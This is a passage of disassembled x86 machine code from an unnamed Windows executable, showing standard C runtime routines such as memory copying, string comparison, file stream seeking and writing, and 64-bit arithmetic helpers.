; ---------------------------------------------------------------------------
		align 4


loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------


loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------


loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx


loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------


loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------


loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78B+34p
					; sub_40D78B+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DCFDC
		call	sub_422608
		mov	edx, dword_4DCFDC
		pop	ecx
		mov	ecx, dword_4DCFD8
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4DCFDC
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------


loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4DCFD8
		sub	ecx, dword_4DCFDC
		mov	dword_4DCFDC, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DCFD8, ecx


loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DCFD8, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D878+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4DCFDC, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4DCFDC
		pop	ecx


loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DCFDC
		mov	dword_4DCFD8, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Bp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 293012Ah
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 2A30000h
		nop
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DB992
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DB990
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DB98E
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DB98A
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DB988
		jnz	short loc_41D0E6
		mov	eax, dword_4DB980
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------


loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 2A20000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh


loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DB988
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DB980, eax
		pop	esi


loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DB9DC
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi


loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh


loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------


loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268


loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------


loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h


loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------


loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4DB928, 16h
		or	eax, 0FFFFFFFFh


loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B08+19Ep
					; sub_41386B+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------


loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------


loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h


loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax


loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------


loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3


loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------


loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx


loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA


loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------


loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1


loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]


loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------


loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi


loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416908+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 2830500h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		call	near ptr 2830047h
		nop
		push	eax
		call	sub_4203DF
		pop	ecx


loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB928, 0Dh
		mov	dword_4DB92C, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------


loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416922+3Fp
					; sub_41A98C+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------


loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F


loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi


loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416922+2Dp
					; sub_41A98C+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------


loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2


loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A32+5Fp
					; sub_416A32+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------


loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596


loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
